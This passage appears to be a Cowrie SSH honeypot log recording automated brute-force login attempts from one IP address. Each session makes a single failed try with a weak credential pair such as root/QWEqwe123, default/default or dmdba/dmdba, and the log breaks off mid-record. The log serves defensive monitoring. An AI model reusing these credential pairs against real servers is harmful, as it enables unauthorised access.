{"eventid":"cowrie.client.kex","hassh":"0a07365cc01fa9fc82608ba4019af499","hasshAlgorithms":"curve25519-sha256,curve25519-sha256@libssh.org,ecdh-sha2-nistp256,ecdh-sha2-nistp384,ecdh-sha2-nistp521,diffie-hellman-group14-sha256,diffie-hellman-group14-sha1,ext-info-c,kex-strict-c-v00@openssh.com;aes128-gcm@openssh.com,aes256-gcm@openssh.com,chacha20-poly1305@openssh.com,aes128-ctr,aes192-ctr,aes256-ctr;hmac-sha2-256-etm@openssh.com,hmac-sha2-512-etm@openssh.com,hmac-sha2-256,hmac-sha2-512,hmac-sha1,hmac-sha1-96;none","kexAlgs":["curve25519-sha256","curve25519-sha256@libssh.org","ecdh-sha2-nistp256","ecdh-sha2-nistp384","ecdh-sha2-nistp521","diffie-hellman-group14-sha256","diffie-hellman-group14-sha1","ext-info-c","kex-strict-c-v00@openssh.com"],"keyAlgs":["rsa-sha2-256-cert-v01@openssh.com","rsa-sha2-512-cert-v01@openssh.com","ssh-rsa-cert-v01@openssh.com","ssh-dss-cert-v01@openssh.com","ecdsa-sha2-nistp256-cert-v01@openssh.com","ecdsa-sha2-nistp384-cert-v01@openssh.com","ecdsa-sha2-nistp521-cert-v01@openssh.com","ssh-ed25519-cert-v01@openssh.com","ecdsa-sha2-nistp256","ecdsa-sha2-nistp384","ecdsa-sha2-nistp521","rsa-sha2-256","rsa-sha2-512","ssh-rsa","ssh-dss","ssh-ed25519"],"encCS":["aes128-gcm@openssh.com","aes256-gcm@openssh.com","chacha20-poly1305@openssh.com","aes128-ctr","aes192-ctr","aes256-ctr"],"macCS":["hmac-sha2-256-etm@openssh.com","hmac-sha2-512-etm@openssh.com","hmac-sha2-256","hmac-sha2-512","hmac-sha1","hmac-sha1-96"],"compCS":["none"],"langCS":[""],"message":"SSH client hassh fingerprint: 0a07365cc01fa9fc82608ba4019af499","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-06-19T03:08:16.632581Z","src_ip":"192.109.200.78","session":"6131656b4fe3","protocol":"ssh"}
{"eventid":"cowrie.login.failed","username":"root","password":"QWEqwe123","message":"login attempt [root/QWEqwe123] failed","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-06-19T03:08:16.875928Z","src_ip":"192.109.200.78","session":"6131656b4fe3","protocol":"ssh"}
{"eventid":"cowrie.session.closed","duration":"1.4","message":"Connection lost after 1.4 seconds","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-06-19T03:08:17.992053Z","src_ip":"192.109.200.78","session":"6131656b4fe3","protocol":"ssh"}
{"eventid":"cowrie.session.connect","src_ip":"192.109.200.78","src_port":34862,"dst_ip":"10.17.0.5","dst_port":22,"session":"fbcb4516fa34","protocol":"ssh","message":"New connection: 192.109.200.78:34862 (10.17.0.5:22) [session: fbcb4516fa34]","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-06-19T03:08:19.949568Z"}
{"eventid":"cowrie.client.version","version":"SSH-2.0-Go","message":"Remote SSH version: SSH-2.0-Go","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-06-19T03:08:19.953749Z","src_ip":"192.109.200.78","session":"fbcb4516fa34","protocol":"ssh"}
{"eventid":"cowrie.client.kex","hassh":"0a07365cc01fa9fc82608ba4019af499","hasshAlgorithms":"curve25519-sha256,curve25519-sha256@libssh.org,ecdh-sha2-nistp256,ecdh-sha2-nistp384,ecdh-sha2-nistp521,diffie-hellman-group14-sha256,diffie-hellman-group14-sha1,ext-info-c,kex-strict-c-v00@openssh.com;aes128-gcm@openssh.com,aes256-gcm@openssh.com,chacha20-poly1305@openssh.com,aes128-ctr,aes192-ctr,aes256-ctr;hmac-sha2-256-etm@openssh.com,hmac-sha2-512-etm@openssh.com,hmac-sha2-256,hmac-sha2-512,hmac-sha1,hmac-sha1-96;none","kexAlgs":["curve25519-sha256","curve25519-sha256@libssh.org","ecdh-sha2-nistp256","ecdh-sha2-nistp384","ecdh-sha2-nistp521","diffie-hellman-group14-sha256","diffie-hellman-group14-sha1","ext-info-c","kex-strict-c-v00@openssh.com"],"keyAlgs":["rsa-sha2-256-cert-v01@openssh.com","rsa-sha2-512-cert-v01@openssh.com","ssh-rsa-cert-v01@openssh.com","ssh-dss-cert-v01@openssh.com","ecdsa-sha2-nistp256-cert-v01@openssh.com","ecdsa-sha2-nistp384-cert-v01@openssh.com","ecdsa-sha2-nistp521-cert-v01@openssh.com","ssh-ed25519-cert-v01@openssh.com","ecdsa-sha2-nistp256","ecdsa-sha2-nistp384","ecdsa-sha2-nistp521","rsa-sha2-256","rsa-sha2-512","ssh-rsa","ssh-dss","ssh-ed25519"],"encCS":["aes128-gcm@openssh.com","aes256-gcm@openssh.com","chacha20-poly1305@openssh.com","aes128-ctr","aes192-ctr","aes256-ctr"],"macCS":["hmac-sha2-256-etm@openssh.com","hmac-sha2-512-etm@openssh.com","hmac-sha2-256","hmac-sha2-512","hmac-sha1","hmac-sha1-96"],"compCS":["none"],"langCS":[""],"message":"SSH client hassh fingerprint: 0a07365cc01fa9fc82608ba4019af499","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-06-19T03:08:20.036315Z","src_ip":"192.109.200.78","session":"fbcb4516fa34","protocol":"ssh"}
{"eventid":"cowrie.login.failed","username":"developer","password":"123","message":"login attempt [developer/123] failed","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-06-19T03:08:20.502634Z","src_ip":"192.109.200.78","session":"fbcb4516fa34","protocol":"ssh"}
{"eventid":"cowrie.session.closed","duration":"1.6","message":"Connection lost after 1.6 seconds","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-06-19T03:08:21.585781Z","src_ip":"192.109.200.78","session":"fbcb4516fa34","protocol":"ssh"}
{"eventid":"cowrie.session.connect","src_ip":"192.109.200.78","src_port":36492,"dst_ip":"10.17.0.5","dst_port":22,"session":"bce9cb09489e","protocol":"ssh","message":"New connection: 192.109.200.78:36492 (10.17.0.5:22) [session: bce9cb09489e]","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-06-19T03:08:23.698228Z"}
{"eventid":"cowrie.client.version","version":"SSH-2.0-Go","message":"Remote SSH version: SSH-2.0-Go","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-06-19T03:08:23.702181Z","src_ip":"192.109.200.78","session":"bce9cb09489e","protocol":"ssh"}
{"eventid":"cowrie.client.kex","hassh":"0a07365cc01fa9fc82608ba4019af499","hasshAlgorithms":"curve25519-sha256,curve25519-sha256@libssh.org,ecdh-sha2-nistp256,ecdh-sha2-nistp384,ecdh-sha2-nistp521,diffie-hellman-group14-sha256,diffie-hellman-group14-sha1,ext-info-c,kex-strict-c-v00@openssh.com;aes128-gcm@openssh.com,aes256-gcm@openssh.com,chacha20-poly1305@openssh.com,aes128-ctr,aes192-ctr,aes256-ctr;hmac-sha2-256-etm@openssh.com,hmac-sha2-512-etm@openssh.com,hmac-sha2-256,hmac-sha2-512,hmac-sha1,hmac-sha1-96;none","kexAlgs":["curve25519-sha256","curve25519-sha256@libssh.org","ecdh-sha2-nistp256","ecdh-sha2-nistp384","ecdh-sha2-nistp521","diffie-hellman-group14-sha256","diffie-hellman-group14-sha1","ext-info-c","kex-strict-c-v00@openssh.com"],"keyAlgs":["rsa-sha2-256-cert-v01@openssh.com","rsa-sha2-512-cert-v01@openssh.com","ssh-rsa-cert-v01@openssh.com","ssh-dss-cert-v01@openssh.com","ecdsa-sha2-nistp256-cert-v01@openssh.com","ecdsa-sha2-nistp384-cert-v01@openssh.com","ecdsa-sha2-nistp521-cert-v01@openssh.com","ssh-ed25519-cert-v01@openssh.com","ecdsa-sha2-nistp256","ecdsa-sha2-nistp384","ecdsa-sha2-nistp521","rsa-sha2-256","rsa-sha2-512","ssh-rsa","ssh-dss","ssh-ed25519"],"encCS":["aes128-gcm@openssh.com","aes256-gcm@openssh.com","chacha20-poly1305@openssh.com","aes128-ctr","aes192-ctr","aes256-ctr"],"macCS":["hmac-sha2-256-etm@openssh.com","hmac-sha2-512-etm@openssh.com","hmac-sha2-256","hmac-sha2-512","hmac-sha1","hmac-sha1-96"],"compCS":["none"],"langCS":[""],"message":"SSH client hassh fingerprint: 0a07365cc01fa9fc82608ba4019af499","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-06-19T03:08:23.783973Z","src_ip":"192.109.200.78","session":"bce9cb09489e","protocol":"ssh"}
{"eventid":"cowrie.login.failed","username":"root","password":"1qazxsw2","message":"login attempt [root/1qazxsw2] failed","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-06-19T03:08:24.030740Z","src_ip":"192.109.200.78","session":"bce9cb09489e","protocol":"ssh"}
{"eventid":"cowrie.session.closed","duration":"1.4","message":"Connection lost after 1.4 seconds","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-06-19T03:08:25.116127Z","src_ip":"192.109.200.78","session":"bce9cb09489e","protocol":"ssh"}
{"eventid":"cowrie.session.connect","src_ip":"192.109.200.78","src_port":36508,"dst_ip":"10.17.0.5","dst_port":22,"session":"64cd1f0040c0","protocol":"ssh","message":"New connection: 192.109.200.78:36508 (10.17.0.5:22) [session: 64cd1f0040c0]","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-06-19T03:08:27.145839Z"}
{"eventid":"cowrie.client.version","version":"SSH-2.0-Go","message":"Remote SSH version: SSH-2.0-Go","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-06-19T03:08:27.149545Z","src_ip":"192.109.200.78","session":"64cd1f0040c0","protocol":"ssh"}
{"eventid":"cowrie.client.kex","hassh":"0a07365cc01fa9fc82608ba4019af499","hasshAlgorithms":"curve25519-sha256,curve25519-sha256@libssh.org,ecdh-sha2-nistp256,ecdh-sha2-nistp384,ecdh-sha2-nistp521,diffie-hellman-group14-sha256,diffie-hellman-group14-sha1,ext-info-c,kex-strict-c-v00@openssh.com;aes128-gcm@openssh.com,aes256-gcm@openssh.com,chacha20-poly1305@openssh.com,aes128-ctr,aes192-ctr,aes256-ctr;hmac-sha2-256-etm@openssh.com,hmac-sha2-512-etm@openssh.com,hmac-sha2-256,hmac-sha2-512,hmac-sha1,hmac-sha1-96;none","kexAlgs":["curve25519-sha256","curve25519-sha256@libssh.org","ecdh-sha2-nistp256","ecdh-sha2-nistp384","ecdh-sha2-nistp521","diffie-hellman-group14-sha256","diffie-hellman-group14-sha1","ext-info-c","kex-strict-c-v00@openssh.com"],"keyAlgs":["rsa-sha2-256-cert-v01@openssh.com","rsa-sha2-512-cert-v01@openssh.com","ssh-rsa-cert-v01@openssh.com","ssh-dss-cert-v01@openssh.com","ecdsa-sha2-nistp256-cert-v01@openssh.com","ecdsa-sha2-nistp384-cert-v01@openssh.com","ecdsa-sha2-nistp521-cert-v01@openssh.com","ssh-ed25519-cert-v01@openssh.com","ecdsa-sha2-nistp256","ecdsa-sha2-nistp384","ecdsa-sha2-nistp521","rsa-sha2-256","rsa-sha2-512","ssh-rsa","ssh-dss","ssh-ed25519"],"encCS":["aes128-gcm@openssh.com","aes256-gcm@openssh.com","chacha20-poly1305@openssh.com","aes128-ctr","aes192-ctr","aes256-ctr"],"macCS":["hmac-sha2-256-etm@openssh.com","hmac-sha2-512-etm@openssh.com","hmac-sha2-256","hmac-sha2-512","hmac-sha1","hmac-sha1-96"],"compCS":["none"],"langCS":[""],"message":"SSH client hassh fingerprint: 0a07365cc01fa9fc82608ba4019af499","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-06-19T03:08:27.233478Z","src_ip":"192.109.200.78","session":"64cd1f0040c0","protocol":"ssh"}
{"eventid":"cowrie.login.failed","username":"default","password":"default","message":"login attempt [default/default] failed","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-06-19T03:08:27.477765Z","src_ip":"192.109.200.78","session":"64cd1f0040c0","protocol":"ssh"}
{"eventid":"cowrie.session.closed","duration":"1.4","message":"Connection lost after 1.4 seconds","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-06-19T03:08:28.561934Z","src_ip":"192.109.200.78","session":"64cd1f0040c0","protocol":"ssh"}
{"eventid":"cowrie.session.connect","src_ip":"192.109.200.78","src_port":36510,"dst_ip":"10.17.0.5","dst_port":22,"session":"30c5930ab722","protocol":"ssh","message":"New connection: 192.109.200.78:36510 (10.17.0.5:22) [session: 30c5930ab722]","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-06-19T03:08:30.527669Z"}
{"eventid":"cowrie.client.version","version":"SSH-2.0-Go","message":"Remote SSH version: SSH-2.0-Go","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-06-19T03:08:30.532965Z","src_ip":"192.109.200.78","session":"30c5930ab722","protocol":"ssh"}
{"eventid":"cowrie.client.kex","hassh":"0a07365cc01fa9fc82608ba4019af499","hasshAlgorithms":"curve25519-sha256,curve25519-sha256@libssh.org,ecdh-sha2-nistp256,ecdh-sha2-nistp384,ecdh-sha2-nistp521,diffie-hellman-group14-sha256,diffie-hellman-group14-sha1,ext-info-c,kex-strict-c-v00@openssh.com;aes128-gcm@openssh.com,aes256-gcm@openssh.com,chacha20-poly1305@openssh.com,aes128-ctr,aes192-ctr,aes256-ctr;hmac-sha2-256-etm@openssh.com,hmac-sha2-512-etm@openssh.com,hmac-sha2-256,hmac-sha2-512,hmac-sha1,hmac-sha1-96;none","kexAlgs":["curve25519-sha256","curve25519-sha256@libssh.org","ecdh-sha2-nistp256","ecdh-sha2-nistp384","ecdh-sha2-nistp521","diffie-hellman-group14-sha256","diffie-hellman-group14-sha1","ext-info-c","kex-strict-c-v00@openssh.com"],"keyAlgs":["rsa-sha2-256-cert-v01@openssh.com","rsa-sha2-512-cert-v01@openssh.com","ssh-rsa-cert-v01@openssh.com","ssh-dss-cert-v01@openssh.com","ecdsa-sha2-nistp256-cert-v01@openssh.com","ecdsa-sha2-nistp384-cert-v01@openssh.com","ecdsa-sha2-nistp521-cert-v01@openssh.com","ssh-ed25519-cert-v01@openssh.com","ecdsa-sha2-nistp256","ecdsa-sha2-nistp384","ecdsa-sha2-nistp521","rsa-sha2-256","rsa-sha2-512","ssh-rsa","ssh-dss","ssh-ed25519"],"encCS":["aes128-gcm@openssh.com","aes256-gcm@openssh.com","chacha20-poly1305@openssh.com","aes128-ctr","aes192-ctr","aes256-ctr"],"macCS":["hmac-sha2-256-etm@openssh.com","hmac-sha2-512-etm@openssh.com","hmac-sha2-256","hmac-sha2-512","hmac-sha1","hmac-sha1-96"],"compCS":["none"],"langCS":[""],"message":"SSH client hassh fingerprint: 0a07365cc01fa9fc82608ba4019af499","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-06-19T03:08:30.615412Z","src_ip":"192.109.200.78","session":"30c5930ab722","protocol":"ssh"}
{"eventid":"cowrie.login.failed","username":"arthur","password":"arthur","message":"login attempt [arthur/arthur] failed","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-06-19T03:08:31.114076Z","src_ip":"192.109.200.78","session":"30c5930ab722","protocol":"ssh"}
{"eventid":"cowrie.session.closed","duration":"1.7","message":"Connection lost after 1.7 seconds","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-06-19T03:08:32.198030Z","src_ip":"192.109.200.78","session":"30c5930ab722","protocol":"ssh"}
{"eventid":"cowrie.session.connect","src_ip":"192.109.200.78","src_port":51960,"dst_ip":"10.17.0.5","dst_port":22,"session":"c4755e0bdb2c","protocol":"ssh","message":"New connection: 192.109.200.78:51960 (10.17.0.5:22) [session: c4755e0bdb2c]","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-06-19T03:08:34.197417Z"}
{"eventid":"cowrie.client.version","version":"SSH-2.0-Go","message":"Remote SSH version: SSH-2.0-Go","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-06-19T03:08:34.204870Z","src_ip":"192.109.200.78","session":"c4755e0bdb2c","protocol":"ssh"}
{"eventid":"cowrie.client.kex","hassh":"0a07365cc01fa9fc82608ba4019af499","hasshAlgorithms":"curve25519-sha256,curve25519-sha256@libssh.org,ecdh-sha2-nistp256,ecdh-sha2-nistp384,ecdh-sha2-nistp521,diffie-hellman-group14-sha256,diffie-hellman-group14-sha1,ext-info-c,kex-strict-c-v00@openssh.com;aes128-gcm@openssh.com,aes256-gcm@openssh.com,chacha20-poly1305@openssh.com,aes128-ctr,aes192-ctr,aes256-ctr;hmac-sha2-256-etm@openssh.com,hmac-sha2-512-etm@openssh.com,hmac-sha2-256,hmac-sha2-512,hmac-sha1,hmac-sha1-96;none","kexAlgs":["curve25519-sha256","curve25519-sha256@libssh.org","ecdh-sha2-nistp256","ecdh-sha2-nistp384","ecdh-sha2-nistp521","diffie-hellman-group14-sha256","diffie-hellman-group14-sha1","ext-info-c","kex-strict-c-v00@openssh.com"],"keyAlgs":["rsa-sha2-256-cert-v01@openssh.com","rsa-sha2-512-cert-v01@openssh.com","ssh-rsa-cert-v01@openssh.com","ssh-dss-cert-v01@openssh.com","ecdsa-sha2-nistp256-cert-v01@openssh.com","ecdsa-sha2-nistp384-cert-v01@openssh.com","ecdsa-sha2-nistp521-cert-v01@openssh.com","ssh-ed25519-cert-v01@openssh.com","ecdsa-sha2-nistp256","ecdsa-sha2-nistp384","ecdsa-sha2-nistp521","rsa-sha2-256","rsa-sha2-512","ssh-rsa","ssh-dss","ssh-ed25519"],"encCS":["aes128-gcm@openssh.com","aes256-gcm@openssh.com","chacha20-poly1305@openssh.com","aes128-ctr","aes192-ctr","aes256-ctr"],"macCS":["hmac-sha2-256-etm@openssh.com","hmac-sha2-512-etm@openssh.com","hmac-sha2-256","hmac-sha2-512","hmac-sha1","hmac-sha1-96"],"compCS":["none"],"langCS":[""],"message":"SSH client hassh fingerprint: 0a07365cc01fa9fc82608ba4019af499","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-06-19T03:08:34.285757Z","src_ip":"192.109.200.78","session":"c4755e0bdb2c","protocol":"ssh"}
{"eventid":"cowrie.login.failed","username":"data","password":"data","message":"login attempt [data/data] failed","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-06-19T03:08:34.531461Z","src_ip":"192.109.200.78","session":"c4755e0bdb2c","protocol":"ssh"}
{"eventid":"cowrie.session.closed","duration":"1.4","message":"Connection lost after 1.4 seconds","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-06-19T03:08:35.615974Z","src_ip":"192.109.200.78","session":"c4755e0bdb2c","protocol":"ssh"}
{"eventid":"cowrie.session.connect","src_ip":"192.109.200.78","src_port":51972,"dst_ip":"10.17.0.5","dst_port":22,"session":"7214f0df0f8a","protocol":"ssh","message":"New connection: 192.109.200.78:51972 (10.17.0.5:22) [session: 7214f0df0f8a]","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-06-19T03:08:37.595652Z"}
{"eventid":"cowrie.client.version","version":"SSH-2.0-Go","message":"Remote SSH version: SSH-2.0-Go","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-06-19T03:08:37.602357Z","src_ip":"192.109.200.78","session":"7214f0df0f8a","protocol":"ssh"}
{"eventid":"cowrie.client.kex","hassh":"0a07365cc01fa9fc82608ba4019af499","hasshAlgorithms":"curve25519-sha256,curve25519-sha256@libssh.org,ecdh-sha2-nistp256,ecdh-sha2-nistp384,ecdh-sha2-nistp521,diffie-hellman-group14-sha256,diffie-hellman-group14-sha1,ext-info-c,kex-strict-c-v00@openssh.com;aes128-gcm@openssh.com,aes256-gcm@openssh.com,chacha20-poly1305@openssh.com,aes128-ctr,aes192-ctr,aes256-ctr;hmac-sha2-256-etm@openssh.com,hmac-sha2-512-etm@openssh.com,hmac-sha2-256,hmac-sha2-512,hmac-sha1,hmac-sha1-96;none","kexAlgs":["curve25519-sha256","curve25519-sha256@libssh.org","ecdh-sha2-nistp256","ecdh-sha2-nistp384","ecdh-sha2-nistp521","diffie-hellman-group14-sha256","diffie-hellman-group14-sha1","ext-info-c","kex-strict-c-v00@openssh.com"],"keyAlgs":["rsa-sha2-256-cert-v01@openssh.com","rsa-sha2-512-cert-v01@openssh.com","ssh-rsa-cert-v01@openssh.com","ssh-dss-cert-v01@openssh.com","ecdsa-sha2-nistp256-cert-v01@openssh.com","ecdsa-sha2-nistp384-cert-v01@openssh.com","ecdsa-sha2-nistp521-cert-v01@openssh.com","ssh-ed25519-cert-v01@openssh.com","ecdsa-sha2-nistp256","ecdsa-sha2-nistp384","ecdsa-sha2-nistp521","rsa-sha2-256","rsa-sha2-512","ssh-rsa","ssh-dss","ssh-ed25519"],"encCS":["aes128-gcm@openssh.com","aes256-gcm@openssh.com","chacha20-poly1305@openssh.com","aes128-ctr","aes192-ctr","aes256-ctr"],"macCS":["hmac-sha2-256-etm@openssh.com","hmac-sha2-512-etm@openssh.com","hmac-sha2-256","hmac-sha2-512","hmac-sha1","hmac-sha1-96"],"compCS":["none"],"langCS":[""],"message":"SSH client hassh fingerprint: 0a07365cc01fa9fc82608ba4019af499","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-06-19T03:08:37.684715Z","src_ip":"192.109.200.78","session":"7214f0df0f8a","protocol":"ssh"}
{"eventid":"cowrie.login.failed","username":"dmdba","password":"dmdba","message":"login attempt [dmdba/dmdba] failed","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-06-19T03:08:37.930294Z","src_ip":"192.109.200.78","session":"7214f0df0f8a","protocol":"ssh"}
{"eventid":"cowrie.session.closed","duration":"1.4","message":"Connection lost after 1.4 seconds","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-06-19T03:08:39.015633Z","src_ip":"192.109.200.78","session":"7214f0df0f8a","protocol":"ssh"}
{"eventid":"cowrie.session.connect","src_ip":"192.109.200.78","src_port":51988,"dst_ip":"10.17.0.5","dst_port":22,"session":"243b47d0e330","protocol":"ssh","message":"New connection: 192.109.200.78:51988 (10.17.0.5:22) [session: 243b47d0e330]","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-06-19T03:08:40.926595Z"}
{"eventid":"cowrie.client.version","version":"SSH-2.0-Go","message":"Remote SSH version: SSH-2.0-Go","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-06-19T03:08:40.930977Z","src_ip":"192.109.200.78","session":"243b47d0e330","protocol":"ssh"}
{"eventid":"cowrie.client.kex","hassh":"0a07365cc01fa9fc82608ba4019af499","hasshAlgorithms":"curve25519-sha256,curve25519-sha256@libssh.org,ecdh-sha2-nistp256,ecdh-sha2-nistp384,ecdh-sha2-nistp521,diffie-hellman-group14-sha256,diffie-hellman-group14-sha1,ext-info-c,kex-strict-c-v00@openssh.com;aes128-gcm@openssh.com,aes256-gcm@openssh.com,chacha20-poly1305@openssh.com,aes128-ctr,aes192-ctr,aes256-ctr;hmac-sha2-256-etm@openssh.com,hmac-sha2-512-etm@openssh.com,hmac-sha2-256,hmac-sha2-512,hmac-sha1,hmac-sha1-96;none","kexAlgs":["curve25519-sha256","curve25519-sha256@libssh.org","ecdh-sha2-nistp256","ecdh-sha2-nistp384","ecdh-sha2-nistp521","diffie-hellman-group14-sha256","diffie-hellman-group14-sha1","ext-info-c","kex-strict-c-v00@openssh.com"],"keyAlgs":["rsa-sha2-256-cert-v01@openssh.com","rsa-sha2-512-cert-v01@openssh.com","ssh-rsa-cert-v01@openssh.com","ssh-dss-cert-v01@openssh.com","ecdsa-sha2-nistp256-cert-v01@openssh.com","ecdsa-sha2-nistp384-cert-v01@openssh.com","ecdsa-sha2-nistp521-cert-v01@openssh.com","ssh-ed25519-cert-v01@openssh.com","ecdsa-sha2-nistp256","ecdsa-sha2-nistp384","ecdsa-sha2-nistp521","rsa-sha2-256","rsa-sha2-512","ssh-rsa","ssh-dss","ssh-ed25519"],"encCS":["aes128-gcm@openssh.com","aes256-gcm@openssh.com","chacha20-poly1305@openssh.com","aes128-ctr","aes192-ctr","aes256-ctr"],"macCS":["hmac-sha2-256-etm@openssh.com","hmac-sha2-512-etm@openssh.com","hmac-sha2-256","hmac-sha2-512","hmac-sha1","hmac-sha1-96"],"compCS":["none"],"langCS":[""],"message":"SSH client hassh fingerprint: 0a07365cc01fa9fc82608ba4019af499","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-06-19T03:08:41.065516Z","src_ip":"192.109.200.78","session":"243b47d0e330","protocol":"ssh"}
{"eventid":"cowrie.login.failed","username":"root","password":"11","message":"login attempt [root/11] failed","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-06-19T03:08:41.531054Z","src_ip":"192.109.200.78","session":"243b47d0e330","protocol":"ssh"}
{"eventid":"cowrie.session.closed","duration":"1.7","message":"Connection lost after 1.7 seconds","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-06-19T03:08:42.615111Z","src_ip":"192.109.200.78","session":"243b47d0e330","protocol":"ssh"}
{"eventid":"cowrie.session.connect","src_ip":"192.109.200.78","src_port":52086,"dst_ip":"10.17.0.5","dst_port":22,"session":"52f1adb2ff50","protocol":"ssh","message":"New connection: 192.109.200.78:52086 (10.17.0.5:22) [session: 52f1adb2ff50]","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-06-19T03:08:44.685743Z"}
{"eventid":"cowrie.client.version","version":"SSH-2.0-Go","message":"Remote SSH version: SSH-2.0-Go","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-06-19T03:08:44.689325Z","src_ip":"192.109.200.78","session":"52f1adb2ff50","protocol":"ssh"}
{"eventid":"cowrie.client.kex","hassh":"0a07365cc01fa9fc82608ba4019af499","hasshAlgorithms":"curve25519-sha256,curve25519-sha256@libssh.org,ecdh-sha2-nistp256,ecdh-sha2-nistp384,ecdh-sha2-nistp521,diffie-hellman-group14-sha256,diffie-hellman-group14-sha1,ext-info-c,kex-strict-c-v00@openssh.com;aes128-gcm@openssh.com,aes256-gcm@openssh.com,chacha20-poly1305@openssh.com,aes128-ctr,aes192-ctr,aes256-ctr;hmac-sha2-256-etm@openssh.com,hmac-sha2-512-etm@openssh.com,hmac-sha2-256,hmac-sha2-512,hmac-sha1,hmac-sha1-96;none","kexAlgs":["curve25519-sha256","curve25519-sha256@libssh.org","ecdh-sha2-nistp256","ecdh-sha2-nistp384","ecdh-sha2-nistp521","diffie-hellman-group14-sha256","diffie-hellman-group14-sha1","ext-info-c","kex-strict-c-v00@openssh.com"],"keyAlgs":["rsa-sha2-256-cert-v01@openssh.com","rsa-sha2-512-cert-v01@openssh.com","ssh-rsa-cert-v01@openssh.com","ssh-dss-cert-v01@openssh.com","ecdsa-sha2-nistp256-cert-v01@openssh.com","ecdsa-sha2-nistp384-cert-v01@openssh.com","ecdsa-sha2-nistp521-cert-v01@openssh.com","ssh-ed25519-cert-v01@openssh.com","ecdsa-sha2-nistp256","ecdsa-sha2-nistp384","ecdsa-sha2-nistp521","rsa-sha2-256","rsa-sha2-512","ssh-rsa","ssh-dss","ssh-ed25519"],"encCS":["aes128-gcm@openssh.com","aes256-gcm@openssh.com","chacha20-poly1305@openssh.com","aes128-ctr","aes192-ctr","aes256-ctr"],"macCS":["hmac-sha2-256-etm@openssh.com","hmac-sha2-512-etm@openssh.com","hmac-sha2-256","hmac-sha2-512","hmac-sha1","hmac-sha1-96"],"compCS":["none"],"langCS":[""],"message":"SSH client hassh fingerprint: 